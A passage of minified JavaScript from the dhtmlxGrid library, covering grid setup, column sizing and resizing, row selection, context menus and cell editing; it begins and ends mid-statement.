a=this.length-1;a>=e;a--){this[a]=this[a-1]}this[e]=c},_dhx_removeAt:function(a){this.splice(a,1)},_dhx_swapItems:function(a,e){var c=this[a];this[a]=this[e];this[e]=c}};function dhtmlXGridObject(id){if(dhtmlxEvent.initTouch){dhtmlxEvent.initTouch()}if(_isIE){try{document.execCommand(\"BackgroundImageCache\",false,true)}catch(e){}}if(id){if(typeof(id)==\"object\"){this.entBox=id;if(!this.entBox.id){this.entBox.id=\"cgrid2_\"+this.uid()}}else{this.entBox=document.getElementById(id)}}else{this.entBox=document.createElement(\"DIV\");this.entBox.id=\"cgrid2_\"+this.uid()}this.entBox.innerHTML=\"\";dhx4._eventable(this);var self=this;this._wcorr=0;this.fontWidth=7;this.cell=null;this.row=null;this.iconURL=\"\";this.editor=null;this._f2kE=true;this._dclE=true;this.combos=new Array(0);this.defVal=new Array(0);this.rowsAr={};this.rowsBuffer=dhtmlxArray();this.rowsCol=dhtmlxArray();this._data_cache={};this._ecache={};this._ud_enabled=true;this.xmlLoader=this.doLoadDetails;this._maskArr=[];this.selectedRows=dhtmlxArray();this.UserData={};this._sizeFix=this._borderFix=0;this.entBox.className+=\" gridbox\";this.entBox.style.width=this.entBox.getAttribute(\"width\")||(window.getComputedStyle?(this.entBox.style.width||window.getComputedStyle(this.entBox,null)[\"width\"]):(this.entBox.currentStyle?this.entBox.currentStyle.width:this.entBox.style.width||0))||\"100%\";this.entBox.style.height=this.entBox.getAttribute(\"height\")||(window.getComputedStyle?(this.entBox.style.height||window.getComputedStyle(this.entBox,null)[\"height\"]):(this.entBox.currentStyle?this.entBox.currentStyle.height:this.entBox.style.height||0))||\"100%\";this.entBox.style.cursor=\"default\";this.entBox.onselectstart=function(){return false};var t_creator=function(name){var t=document.createElement(\"TABLE\");t.cellSpacing=t.cellPadding=0;t.style.cssText=\"width:100%;table-layout:fixed;\";t.className=name.substr(2);return t};this.obj=t_creator(\"c_obj\");this.hdr=t_creator(\"c_hdr\");this.hdr.style.marginRight=\"20px\";this.hdr.style.paddingRight=\"20px\";this.objBox=document.createElement(\"DIV\");this.objBox.style.width=\"100%\";this.objBox.style.overflow=\"auto\";this.objBox.appendChild(this.obj);this.objBox.className=\"objbox\";if(dhtmlx.$customScroll){dhtmlx.CustomScroll.enable(this)}this.hdrBox=document.createElement(\"DIV\");this.hdrBox.style.width=\"100%\";this.hdrBox.style.height=\"25px\";this.hdrBox.style.overflow=\"hidden\";this.hdrBox.className=\"xhdr\";this.preloadImagesAr=new Array(0);this.sortImg=document.createElement(\"DIV\");this.sortImg.style.display=\"none\";this.hdrBox.appendChild(this.sortImg);this.hdrBox.appendChild(this.hdr);this.hdrBox.style.position=\"relative\";this.entBox.appendChild(this.hdrBox);this.entBox.appendChild(this.objBox);this.entBox.grid=this;this.objBox.grid=this;this.hdrBox.grid=this;this.obj.grid=this;this.hdr.grid=this;this.cellWidthPX=[];this.cellWidthPC=[];this.cellWidthType=this.entBox.cellwidthtype||\"px\";this.delim=this.entBox.delimiter||\",\";this._csvDelim=\",\";this.hdrLabels=[];this.columnIds=[];this.columnColor=[];this._hrrar=[];this.cellType=dhtmlxArray();this.cellAlign=[];this.initCellWidth=[];this.fldSort=[];this._srdh=(_isIE&&(document.compatMode!=\"BackCompat\")?22:20);this.imgURL=window.dhx_globalImgPath||\"\";this.isActive=false;this.isEditable=true;this.useImagesInHeader=false;this.pagingOn=false;this.rowsBufferOutSize=0;dhtmlxEvent(window,\"unload\",function(){try{if(self.destructor){self.destructor()}}catch(e){}});this.setSkin=function(name){this._srdh=window.dhx4.readFromCss(\"dhxgrid_rh_\"+name)+4;this.skin_name=name;if(this._imgURL){this.setImagePath(this._imgURL)}var classname=this.entBox.className.split(\" gridbox\")[0];this.entBox.className=classname+\" gridbox gridbox_\"+name+(_isIE?\" isIE\":\" isModern\");this.skin_h_correction=0;this.enableAlterCss(\"ev_\"+name,\"odd_\"+name,this.isTreeGrid());this._fixAlterCss();switch(name){case\"dhx_terrace\":this._srdh=33;this.forceDivInHeader=true;break;case\"dhx_web\":this.forceDivInHeader=true;this._srdh=31;break;case\"dhx_skyblue\":this.forceDivInHeader=true;break}if(_isIE&&this.hdr){var d=this.hdr.parentNode;d.removeChild(this.hdr);d.appendChild(this.hdr)}this.setSizes()};if(_isIE){this.preventIECaching(true)}if(window.dhtmlDragAndDropObject){this.dragger=new dhtmlDragAndDropObject()}this._doOnScroll=function(e,mode){this.callEvent(\"onScroll\",[this.objBox.scrollLeft,this.objBox.scrollTop]);this.doOnScroll(e,mode)};this.doOnScroll=function(e,mode){this.hdrBox.scrollLeft=this.objBox.scrollLeft;if(this.ftr){this.ftr.parentNode.scrollLeft=this.objBox.scrollLeft}if(mode){return}if(this._srnd){if(this._dLoadTimer){window.clearTimeout(this._dLoadTimer)}this._dLoadTimer=window.setTimeout(function(){if(self._update_srnd_view){self._update_srnd_view()}},100)}};this.attachToObject=function(obj){obj.appendChild(this.globalBox?this.globalBox:this.entBox);this.setSizes()};this.init=function(fl){if((this.isTreeGrid())&&(!this._h2)){this._h2=this._createHierarchy();if((this._fake)&&(!this._realfake)){this._fake._h2=this._h2}this._tgc={imgURL:null}}if(!this._hstyles){return}if(!this.skin_name){this.setSkin(window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxgrid\")||\"dhx_skyblue\")}this.editStop();this.lastClicked=null;this.resized=null;this.fldSorted=this.r_fldSorted=null;this.cellWidthPX=[];this.cellWidthPC=[];if(this.hdr.rows.length>0){var temp=this.xmlFileUrl;this.clearAll(true);this.xmlFileUrl=temp}var hdrRow=this.hdr.insertRow(0);for(var i=0;i<this.hdrLabels.length;i++){hdrRow.appendChild(document.createElement(\"TH\"));hdrRow.childNodes[i]._cellIndex=i;hdrRow.childNodes[i].style.height=\"0px\"}if(_isIE&&_isIE<8&&document.body.style.msTouchAction==this.undefined){hdrRow.style.position=\"absolute\"}else{hdrRow.style.height=\"auto\"}var hdrRow=this.hdr.insertRow(_isKHTML?2:1);hdrRow._childIndexes=new Array();var col_ex=0;for(var i=0;i<this.hdrLabels.length;i++){hdrRow._childIndexes[i]=i-col_ex;if((this.hdrLabels[i]==this.splitSign)&&(i!=0)){if(_isKHTML){hdrRow.insertCell(i-col_ex)}hdrRow.cells[i-col_ex-1].colSpan=(hdrRow.cells[i-col_ex-1].colSpan||1)+1;hdrRow.childNodes[i-col_ex-1]._cellIndex++;col_ex++;hdrRow._childIndexes[i]=i-col_ex;continue}hdrRow.insertCell(i-col_ex);hdrRow.childNodes[i-col_ex]._cellIndex=i;hdrRow.childNodes[i-col_ex]._cellIndexS=i;this.setColumnLabel(i,this.hdrLabels[i])}if(col_ex==0){hdrRow._childIndexes=null}this._cCount=this.hdrLabels.length;if(_isIE){window.setTimeout(function(){if(self.setSizes){self.setSizes()}},1)}if(!this.obj.firstChild){this.obj.appendChild(document.createElement(\"TBODY\"))}var tar=this.obj.firstChild;if(!tar.firstChild){tar.appendChild(document.createElement(\"TR\"));tar=tar.firstChild;if(_isIE&&_isIE<8&&document.body.style.msTouchAction==this.undefined){tar.style.position=\"absolute\"}else{tar.style.height=\"auto\"}for(var i=0;i<this.hdrLabels.length;i++){tar.appendChild(document.createElement(\"TH\"));tar.childNodes[i].style.height=\"0px\"}}this._c_order=null;if(this.multiLine!=true){this.obj.className+=\" row20px\"}this.sortImg.style.position=\"absolute\";this.sortImg.style.display=\"none\";this.sortImg.className=\"dhxgrid_sort_desc\";this.sortImg.defLeft=0;if(this.noHeader){this.hdrBox.style.display=\"none\"}else{this.noHeader=false}if(this._ivizcol){this.setColHidden()}this.attachHeader();this.attachHeader(0,0,\"_aFoot\");this.setSizes();if(fl){this.parseXML()}this.obj.scrollTop=0;if(this.dragAndDropOff){this.dragger.addDragLanding(this.entBox,this)}if(this._initDrF){this._initD()}dhx4.callEvent(\"onGridCreated\",[this])};this.setColumnSizes=function(gridWidth){var summ=0;var fcols=[];var fix=0;for(var i=0;i<this._cCount;i++){if((this.initCellWidth[i]==\"*\")&&!this._hrrar[i]){this._awdth=false;fcols.push(i);continue}if(this.cellWidthType==\"%\"){if(typeof this.cellWidthPC[i]==\"undefined\"){this.cellWidthPC[i]=this.initCellWidth[i]}var cwidth=(gridWidth*this.cellWidthPC[i]/100)||0;if(fix>0.5){cwidth++;fix--}var rwidth=this.cellWidthPX[i]=Math.floor(cwidth);var fix=fix+cwidth-rwidth}else{if(typeof this.cellWidthPX[i]==\"undefined\"){this.cellWidthPX[i]=this.initCellWidth[i]}}if(!this._hrrar[i]){summ+=this.cellWidthPX[i]*1}}if(fcols.length){var ms=Math.floor((gridWidth-summ)/fcols.length);if(ms<0){ms=1}for(var i=0;i<fcols.length;i++){var next=Math.max((this._drsclmW?(this._drsclmW[fcols[i]]||0):0),ms);this.cellWidthPX[fcols[i]]=next;summ+=next}if(gridWidth>summ){var last=fcols[fcols.length-1];this.cellWidthPX[last]=this.cellWidthPX[last]+(gridWidth-summ);summ=gridWidth}this._setAutoResize()}this.obj.style.width=summ+\"px\";this.hdr.style.width=summ+\"px\";if(this.ftr){this.ftr.style.width=summ+\"px\"}this.chngCellWidth();return summ};this.setSizes=function(){if((!this.hdr.rows[0])){return}var quirks=this.quirks=(_isIE&&document.compatMode==\"BackCompat\");var outerBorder=(this.entBox.offsetWidth-this.entBox.clientWidth)/2;if(!this.dontSetSizes){if(this.globalBox){if(!this.globalBox.clientWidth){return}var ow=this.globalBox.clientWidth;var splitOuterBorder=(this.globalBox.offsetWidth-ow)/2;if(this._delta_x&&!this._realfake){this.globalBox.style.width=this._delta_x;var owu=this.globalBox.clientWidth;this.entBox.style.width=Math.max(0,(owu+(quirks?splitOuterBorder*2:0))-this._fake.entBox.clientWidth)+\"px\";if(owu!=this._lastTimeSplitWidth){this._fake._correctSplit(this._fake.entBox.clientWidth);this._lastTimeSplitWidth=owu}}if(this._delta_y&&!this._realfake){this.globalBox.style.height=this._delta_y;this.entBox.style.overflow=this._fake.entBox.style.overflow=\"hidden\";this.entBox.style.height=this._fake.entBox.style.height=this.globalBox.clientHeight+(quirks?splitOuterBorder*2:0)+\"px\"}}else{if(this._delta_x){if(this.entBox.parentNode&&this.entBox.parentNode.tagName==\"TD\"){this.entBox.style.width=\"1px\";this.entBox.style.width=parseInt(this._delta_x)*this.entBox.parentNode.clientWidth/100-outerBorder*2+\"px\"}else{this.entBox.style.width=this._delta_x}}if(this._delta_y){this.entBox.style.height=this._delta_y}}}window.clearTimeout(this._sizeTime);if(!this.entBox.offsetWidth&&(!this.globalBox||!this.globalBox.offsetWidth)){this._sizeTime=window.setTimeout(function(){if(self.setSizes){self.setSizes()}},250);return}var border_x=((!this._wthB)&&((this.entBox.cmp||this._delta_x)&&(this.skin_name||\"\").indexOf(\"dhx\")==0&&!quirks)?2:0);var border_y=((!this._wthB)&&((this.entBox.cmp||this._delta_y)&&(this.skin_name||\"\").indexOf(\"dhx\")==0&&!quirks)?2:0);if(this._sizeFix){border_x-=this._sizeFix;border_y-=this._sizeFix}var isVScroll=this.parentGrid?false:(this.objBox.scrollHeight>this.objBox.offsetHeight);var scrfix=dhtmlx.$customScroll?0:18;var gridWidth=this.entBox.clientWidth-(this.skin_h_correction||0)*(quirks?0:1)-border_x;var gridWidthActive=this.entBox.clientWidth-(this.skin_h_correction||0)-border_x;var gridHeight=this.entBox.clientHeight-border_y;var summ=this.setColumnSizes(gridWidthActive-(isVScroll?scrfix:0)-(this._correction_x||0));var isHScroll=this.parentGrid?false:((this.objBox.scrollWidth>this.objBox.offsetWidth)||(this.objBox.style.overflowX==\"scroll\"));var headerHeight=this.hdr.clientHeight;var footerHeight=this.ftr?this.ftr.clientHeight:0;var newWidth=gridWidth;var newHeight=gridHeight-headerHeight-footerHeight;if(this._awdth&&this._awdth[0]&&this._awdth[1]==99999){isHScroll=0}if(this._ahgr){if(this._ahgrMA){newHeight=this.entBox.parentNode.clientHeight-headerHeight-footerHeight}else{newHeight=this.obj.offsetHeight+(isHScroll?scrfix:0)+(this._correction_y||0)}if(this._ahgrM){if(this._ahgrF){newHeight=Math.min(this._ahgrM,newHeight+headerHeight+footerHeight)-headerHeight-footerHeight}else{newHeight=Math.min(this._ahgrM,newHeight)}}if(isVScroll&&newHeight>=this.obj.scrollHeight+(isHScroll?scrfix:0)){isVScroll=false;this.setColumnSizes(gridWidthActive-(this._correction_x||0))}}if((this._awdth)&&(this._awdth[0])){if(this.cellWidthType==\"%\"){this.cellWidthType=\"px\"}if(this._fake){summ+=this._fake.entBox.clientWidth}var newWidth=Math.min(Math.max(summ+(isVScroll?scrfix:0),this._awdth[2]),this._awdth[1])+(this._correction_x||0);this.objBox.style.overflowX=(!isVScroll&&this.objBox.scrollWidth<=newWidth)?\"hidden\":\"auto\";if(this._fake){newWidth-=this._fake.entBox.clientWidth}}newHeight=Math.max(0,newHeight);this._ff_size_delta=(this._ff_size_delta==0.1)?0.2:0.1;if(!_isFF){this._ff_size_delta=0}if(!this.dontSetSizes){this.entBox.style.width=Math.max(0,newWidth+(quirks?2:0)*outerBorder+this._ff_size_delta)+\"px\";this.entBox.style.height=newHeight+(quirks?2:0)*outerBorder+headerHeight+footerHeight+\"px\"}this.objBox.style.height=newHeight+((quirks&&!isVScroll)?2:0)*outerBorder+\"px\";this.hdrBox.style.height=headerHeight+\"px\";if(newHeight!=gridHeight){this.doOnScroll(0,!this._srnd)}var ext=this[\"setSizes_\"+this.skin_name];if(ext){ext.call(this)}this.setSortImgPos();if(headerHeight!=this.hdr.clientHeight&&this._ahgr){this.setSizes()}this.callEvent(\"onSetSizes\",[])};this.chngCellWidth=function(){if((_isOpera)&&(this.ftr)){this.ftr.width=this.objBox.scrollWidth+\"px\"}var l=this._cCount;for(var i=0;i<l;i++){this.hdr.rows[0].cells[i].style.width=this.cellWidthPX[i]+\"px\";this.obj.rows[0].childNodes[i].style.width=this.cellWidthPX[i]+\"px\";if(this.ftr){this.ftr.rows[0].cells[i].style.width=this.cellWidthPX[i]+\"px\"}}};this.setDelimiter=function(delim){this.delim=delim};this.setInitWidthsP=function(wp){this.cellWidthType=\"%\";this.initCellWidth=wp.split(this.delim.replace(/px/gi,\"\"));if(!arguments[1]){this._setAutoResize()}};this._setAutoResize=function(){if(this._realfake){return}var el=window;var self=this;dhtmlxEvent(window,\"resize\",function(){window.clearTimeout(self._resize_timer);if(self._setAutoResize){self._resize_timer=window.setTimeout(function(){if(self.setSizes){self.setSizes()}if(self._fake){self._fake._correctSplit()}},100)}})};this.setInitWidths=function(wp){this.cellWidthType=\"px\";this.initCellWidth=wp.split(this.delim);if(_isFF){for(var i=0;i<this.initCellWidth.length;i++){if(this.initCellWidth[i]!=\"*\"){this.initCellWidth[i]=parseInt(this.initCellWidth[i])}}}};this.enableMultiline=function(state){this.multiLine=dhx4.s2b(state)};this.enableMultiselect=function(state){this.selMultiRows=dhx4.s2b(state)};this.setImagePath=function(path){path=path.replace(/imgs\\/dhxgrid_[a-z]*\\/$/,\"imgs/\");this._imgURL=path;this.imgURL=path+\"dhxgrid_\"+(this.skin_name||\"dhx_skyblue\").replace(\"dhx_\",\"\")+\"/\";this.iconTree=this.imgURL+\"tree/\"};this.setImagesPath=this.setImagePath;this.setIconPath=function(path){this.iconURL=path};this.setIconsPath=this.setIconPath;this.changeCursorState=function(ev){var el=ev.target||ev.srcElement;if(el.tagName!=\"TD\"){el=this.getFirstParentOfType(el,\"TD\")}if(!el){return}if((el.tagName==\"TD\")&&(this._drsclmn)&&(!this._drsclmn[el._cellIndex])){return el.style.cursor=\"default\"}var check=(ev.layerX||0)+(((!_isIE)&&(ev.target.tagName==\"DIV\"))?el.offsetLeft:0);if((el.offsetWidth-(ev.offsetX||(parseInt(this.getPosition(el,this.hdrBox))-check)*-1))<(_isOpera?20:10)){el.style.cursor=\"E-resize\"}else{el.style.cursor=\"default\"}if(_isOpera){this.hdrBox.scrollLeft=this.objBox.scrollLeft}};this.startColResize=function(ev){if(this.resized){this.stopColResize()}this.resized=null;var el=ev.target||ev.srcElement;if(el.tagName!=\"TD\"){el=this.getFirstParentOfType(el,\"TD\")}var x=ev.clientX;var tabW=this.hdr.offsetWidth;var startW=parseInt(el.offsetWidth);if(el.tagName==\"TD\"&&el.style.cursor!=\"default\"){if((this._drsclmn)&&(!this._drsclmn[el._cellIndex])){return}self._old_d_mm=document.body.onmousemove;self._old_d_mu=document.body.onmouseup;document.body.onmousemove=function(e){if(self){self.doColResize(e||window.event,el,startW,x,tabW)}};document.body.onmouseup=function(){if(self){self.stopColResize()}}}};this.stopColResize=function(){document.body.onmousemove=self._old_d_mm||\"\";document.body.onmouseup=self._old_d_mu||\"\";this.setSizes();this.doOnScroll(0,1);this.callEvent(\"onResizeEnd\",[this])};this.doColResize=function(ev,el,startW,x,tabW){el.style.cursor=\"E-resize\";this.resized=el;var fcolW=startW+(ev.clientX-x);var wtabW=tabW+(ev.clientX-x);if(!(this.callEvent(\"onResize\",[el._cellIndex,fcolW,this]))){return}if(_isIE){this.objBox.scrollLeft=this.hdrBox.scrollLeft}var result=false;if(el.colSpan>1){var a_sizes=new Array();for(var i=0;i<el.colSpan;i++){a_sizes[i]=Math.round(fcolW*this.hdr.rows[0].childNodes[el._cellIndexS+i].offsetWidth/el.offsetWidth)}for(var i=0;i<el.colSpan;i++){result=this._setColumnSizeR(el._cellIndexS+i*1,a_sizes[i])}}else{result=this._setColumnSizeR(el._cellIndex,fcolW)}this.doOnScroll(0,1);this.setSizes();if(this._fake&&this._awdth){this._fake._correctSplit()}return result};this._setColumnSizeR=function(ind,fcolW){if(fcolW>((this._drsclmW&&!this._notresize)?(this._drsclmW[ind]||10):10)){this.obj.rows[0].childNodes[ind].style.width=fcolW+\"px\";this.hdr.rows[0].childNodes[ind].style.width=fcolW+\"px\";if(this.ftr){this.ftr.rows[0].childNodes[ind].style.width=fcolW+\"px\"}if(this.cellWidthType==\"px\"){this.cellWidthPX[ind]=fcolW}else{var gridWidth=parseInt(this.entBox.offsetWidth);if(this.objBox.scrollHeight>this.objBox.offsetHeight){gridWidth-=17}var pcWidth=Math.round(fcolW/gridWidth*100);this.cellWidthPC[ind]=pcWidth}if(this.sortImg.style.display!=\"none\"){this.setSortImgPos()}}else{return false}};this.setSortImgState=function(state,ind,order,row){order=(order||\"asc\").toLowerCase();if(!dhx4.s2b(state)){this.sortImg.style.display=\"none\";this.fldSorted=this.r_fldSorted=null;return}if(order==\"asc\"){this.sortImg.className=\"dhxgrid_sort_asc\"}else{this.sortImg.className=\"dhxgrid_sort_desc\"}this.sortImg.style.display=\"\";this.fldSorted=this.hdr.rows[0].childNodes[ind];var r=this.hdr.rows[row||1];if(!r){return}for(var i=0;i<r.childNodes.length;i++){if(r.childNodes[i]._cellIndexS==ind){this.r_fldSorted=r.childNodes[i];return this.setSortImgPos()}}return this.setSortImgState(state,ind,order,(row||1)+1)};this.setSortImgPos=function(ind,mode,hRowInd,el){if(this._hrrar&&this._hrrar[this.r_fldSorted?this.r_fldSorted._cellIndex:ind]){return}if(!el){if(!ind){var el=this.r_fldSorted}else{var el=this.hdr.rows[hRowInd||0].cells[ind]}}if(el!=null){var pos=this.getPosition(el,this.hdrBox);var wdth=el.offsetWidth;this.sortImg.style.left=Number(pos[0]+wdth-13)+\"px\";this.sortImg.defLeft=parseInt(this.sortImg.style.left);this.sortImg.style.top=Number(pos[1]+5)+\"px\";if((!this.useImagesInHeader)&&(!mode)){this.sortImg.style.display=\"inline\"}this.sortImg.style.left=this.sortImg.defLeft+\"px\"}};this.setActive=function(fl){if(arguments.length==0){var fl=true}if(fl==true){if(globalActiveDHTMLGridObject&&(globalActiveDHTMLGridObject!=this)){globalActiveDHTMLGridObject.editStop();globalActiveDHTMLGridObject.callEvent(\"onBlur\",[globalActiveDHTMLGridObject])}globalActiveDHTMLGridObject=this;this.isActive=true}else{this.isActive=false;this.callEvent(\"onBlur\",[this])}};this._doClick=function(ev){var selMethod=0;var el=this.getFirstParentOfType(_isIE?ev.srcElement:ev.target,\"TD\");if(!el||!el.parentNode||!el.parentNode.idd){return}var fl=true;if(this.markedCells){var markMethod=0;if(ev.shiftKey||ev.metaKey){markMethod=1}if(ev.ctrlKey){markMethod=2}this.doMark(el,markMethod);return true}if(this.selMultiRows!=false){if(ev.shiftKey&&this.row!=null&&this.selectedRows.length){selMethod=1}if(ev.ctrlKey||ev.metaKey){selMethod=2}}return this.doClick(el,fl,selMethod,false)};this._doContClick=function(ev){var el=this.getFirstParentOfType(_isIE?ev.srcElement:ev.target,\"TD\");if((!el)||(typeof(el.parentNode.idd)==\"undefined\")){this.callEvent(\"onEmptyClick\",[ev]);return true}if(ev.button==2||(_isMacOS&&ev.ctrlKey)){if(!this.callEvent(\"onRightClick\",[el.parentNode.idd,el._cellIndex,ev])){var z=function(e){(e||event).cancelBubble=true;return false};(ev.srcElement||ev.target).oncontextmenu=z;return z(ev)}if(this._ctmndx){if(!(this.callEvent(\"onBeforeContextMenu\",[el.parentNode.idd,el._cellIndex,this]))){return true}if(_isIE){ev.srcElement.oncontextmenu=function(){event.cancelBubble=true;return false}}if(this._ctmndx.showContextMenu){var dEl0=window.document.documentElement;var dEl1=window.document.body;var corrector=new Array((dEl0.scrollLeft||dEl1.scrollLeft),(dEl0.scrollTop||dEl1.scrollTop));if(_isIE){var x=ev.clientX+corrector[0];var y=ev.clientY+corrector[1]}else{var x=ev.pageX;var y=ev.pageY}this._ctmndx.showContextMenu(x-1,y-1);this.contextID=this._ctmndx.contextMenuZoneId=el.parentNode.idd+\"_\"+el._cellIndex;this._ctmndx._skip_hide=true}else{el.contextMenuId=el.parentNode.idd+\"_\"+el._cellIndex;el.contextMenu=this._ctmndx;el.a=this._ctmndx._contextStart;el.a(el,ev);el.a=null}ev.cancelBubble=true;return false}}else{if(this._ctmndx){if(this._ctmndx.hideContextMenu){this._ctmndx.hideContextMenu()}else{this._ctmndx._contextEnd()}}}return true};this.doClick=function(el,fl,selMethod,show){if(!this.selMultiRows){selMethod=0}var psid=this.row?this.row.idd:0;this.setActive(true);if(!selMethod){selMethod=0}if(this.cell!=null){this.cell.className=this.cell.className.replace(/cellselected/g,\"\")}if(el.tagName==\"TD\"){if(this.checkEvent(\"onSelectStateChanged\")){var initial=this.getSelectedId()}var prow=this.row;if(selMethod==1){var elRowIndex=this.rowsCol._dhx_find(el.parentNode);var lcRowIndex=this.rowsCol._dhx_find(this.lastClicked);if(elRowIndex>lcRowIndex){var strt=lcRowIndex;var end=elRowIndex}else{var strt=elRowIndex;var end=lcRowIndex}for(var i=0;i<this.rowsCol.length;i++){if((i>=strt&&i<=end)){if(this.rowsCol[i]&&(!this.rowsCol[i]._sRow)){if(!this.rowsCol[i].idd){continue}if(this.rowsCol[i].className.indexOf(\"rowselected\")==-1&&(this.callEvent(\"onBeforeSelect\",[this.rowsCol[i].idd,psid,el._cellIndex]))){this.rowsCol[i].className+=\" rowselected\";this.selectedRows[this.selectedRows.length]=this.rowsCol[i]}}else{this.clearSelection();return this.doClick(el,fl,0,show)}}}}else{if(selMethod==2){if(el.parentNode.className.indexOf(\"rowselected\")!=-1){el.parentNode.className=el.parentNode.className.replace(/rowselected/g,\"\");this.selectedRows._dhx_removeAt(this.selectedRows._dhx_find(el.parentNode));var skipRowSelection=true;show=false}}}this.editStop();if(typeof(el.parentNode.idd)==\"undefined\"){return true}if((!skipRowSelection)&&(!el.parentNode._sRow)){if(this.callEvent(\"onBeforeSelect\",[el.parentNode.idd,psid,el._cellIndex])){if(this.getSelectedRowId()!=el.parentNode.idd){if(selMethod==0){this.clearSelection()}this.cell=el;if((prow==el.parentNode)&&(this._chRRS)){fl=false}this.row=el.parentNode;this.row.className+=\" rowselected\";if(this.selectedRows._dhx_find(this.row)==-1){this.selectedRows[this.selectedRows.length]=this.row}}else{this.cell=el;this.row=el.parentNode}}else{fl=false}}if(this.cell&&this.cell.parentNode.className.indexOf(\"rowselected\")!=-1){this.cell.className=this.cell.className.replace(/cellselected/g,\"\")+\" cellselected\"}if(selMethod!=1){if(!this.row){return}}this.lastClicked=el.parentNode;var rid=this.row.idd;var cid=this.cell;if(fl&&typeof(rid)!=\"undefined\"&&cid&&!skipRowSelection){self.onRowSelectTime=setTimeout(function(){if(self.callEvent){self.callEvent(\"onRowSelect\",[rid,cid._cellIndex])}},100)}else{this.callEvent(\"onRowSelectRSOnly\",[rid])}if(this.checkEvent(\"onSelectStateChanged\")){var afinal=this.getSelectedId();if(initial!=afinal){this.callEvent(\"onSelectStateChanged\",[afinal,initial])}}if(skipRowSelection){return false}}this.isActive=true;if(show!==false&&this.cell&&this.cell.parentNode.idd){this.moveToVisible(this.cell)}};this.selectAll=function(){this.clearSelection();var coll=this.rowsBuffer;if(this.pagingOn){coll=this.rowsCol}for(var i=0;i<coll.length;i++){this.render_row(i).className+=\" rowselected\"}this.selectedRows=dhtmlxArray([].concat(coll));if(this.selectedRows.length){this.row=this.selectedRows[0];this.cell=this.row.cells[0]}if((this._fake)&&(!this._realfake)){this._fake.selectAll()}};this.selectCell=function(r,cInd,fl,preserve,edit,show){if(!fl){fl=false}if(typeof(r)!=\"object\"){r=this.render_row(r)}if(!r||r==-1){return null}if(r._childIndexes){var c=r.childNodes[r._childIndexes[cInd]]}else{var c=r.childNodes[cInd]}if(!c){c=r.childNodes[0]}if(!this.markedCells){if(preserve){this.doClick(c,fl,3,show)}else{this.doClick(c,fl,0,show)}}else{this.doMark(c,preserve?2:0)}if(edit){this.editCell()}};this.moveToVisible=function(cell_obj,onlyVScroll){if(this.pagingOn){var newPage=Math.floor(this.getRowIndex(cell_obj.parentNode.idd)/this.rowsBufferOutSize)+1;if(newPage!=this.currentPage){this.changePage(newPage)}}try{if(cell_obj.offsetHeight){var distance=cell_obj.offsetLeft+cell_obj.offsetWidth+20;var scrollLeft=0;if(distance>(this.objBox.offsetWidth+this.objBox.scrollLeft)){if(cell_obj.offsetLeft>this.objBox.scrollLeft){scrollLeft=cell_obj.offsetLeft-(this.objBox.offsetWidth-cell_obj.offsetWidth)+5}}else{if(cell_obj.offsetLeft<this.objBox.scrollLeft){distance-=cell_obj.offsetWidth*2/3;if(distance<this.objBox.scrollLeft){scrollLeft=cell_obj.offsetLeft-5}}}if((scrollLeft)&&(!onlyVScroll)){this.objBox.scrollLeft=scrollLeft}}if(!cell_obj.offsetHeight){var mask=this._realfake?this._fake.rowsAr[cell_obj.parentNode.idd]:cell_obj.parentNode;distance=this.rowsBuffer._dhx_find(mask)*this._srdh}else{distance=cell_obj.offsetTop}var distancemax=distance+cell_obj.offsetHeight+38;if(distancemax>(this.objBox.offsetHeight+this.objBox.scrollTop)){var scrollTop=distance}else{if(distance<this.objBox.scrollTop){var scrollTop=distance-5}}if(scrollTop){this.objBox.scrollTop=scrollTop}}catch(er){}};this.editCell=function(){if(this.editor&&this.cell==this.editor.cell){return}this.editStop();if((this.isEditable!=true)||(!this.cell)){return false}var c=this.cell;if(c.parentNode._locked){return false}this.editor=this.cells4(c);if(this.editor!=null){if(this.editor.isDisabled()){this.editor=null;return false}if(this.callEvent(\"onEditCell\",[0,this.row.idd,this.cell._cellIndex])!=false&&this.editor.edit){this._Opera_stop=(new Date).valueOf();this.editor.edit();c.className+=\" editable\";this.callEvent(\"onEditCell\",[1,this.row.idd,this.cell._cellIndex])}else{this.editor=null}}};this.editStop=function(mode){if(_isOpera){if(this._Opera_stop){if((this._Opera_stop*1+50)>(new Date).valueOf()){return}this._Opera_stop=null}}if(this.editor&&this.editor!=null){this.editor.cell.className=this.editor.cell.className.replace(\"editable\",\"\");if(mode){var t=this.editor.val;this.editor.detach();this.editor.setValue(t);this.editor=null;this.callEvent(\"onEditCancel\",[this.row.idd,this.cell._cellIndex,t]);return}if(this.editor.detach()){this.cell.wasChanged=true}var g=this.editor;if(g==null){return}this.editor=null;var z=this.callEvent(\"onEditCell\",[2,this.row.idd,this.cell._cellIndex,g.getValue(),g.val]);if((typeof(z)==\"string\")||(typeof(z)==\"number\")){g[g.setImage?\"setLabel\":\"setValue\"](z)}else{if(!z){g[g.setImage?\"setLabel\":\"setValue\"](g.val)}}if(this._ahgr&&this.multiLine){this.setSizes()}}};this._nextRowCell=function(row,dir,pos){row=this._nextRow((this._groups?this.rowsCol:this.rowsBuffer)._dhx_find(row),dir);if(!row){return null}return row.childNodes[row._childIndexes?row._childIndexes[pos]:pos]};this._getNextCell=function(acell,dir,i){acell=acell||this.cell;var arow=acell.parentNode;if(this._tabOrder){i=this._tabOrder[acell._cellIndex];if(typeof i!=\"undefined\"){if(i<0){acell=this._nextRowCell(arow,dir,Math.abs(i)-1)}else{acell=arow.childNodes[i]}}}else{var i=acell._cellIndex+dir;if(i>=0&&i<this._cCount){if(arow._childIndexes){i=arow._childIndexes[acell._cellIndex]+dir}acell=arow.childNodes[i]}else{acell=this._nextRowCell(arow,dir,(dir==1?0:(this._cCount-1)))}}if(!acell){if((dir==1)&&this.tabEnd){this.tabEnd.focus();this.tabEnd.focus();this.setActive(false)}if((dir==-1)&&this.tabStart){this.tabStart.focus();this.tabStart.focus();this.setActive(false)}return null}if(acell.style.display!=\"none\"&&(!this.smartTabOrder||!this.cells(acell.parentNode.idd,acell._cellIndex).isDisabled())){return acell}return this._getNextCell(acell,dir)};this._nextRow=function(ind,dir){var r=this.render_row(ind+dir);if(!r||r==-1){return null}if(r&&r.style.display==\"none\"){return this._nextRow(ind+dir,dir)}return r};this.scrollPage=function(dir){if(!this.rowsBuffer.length){return}var master=this._realfake?this._fake:this;var 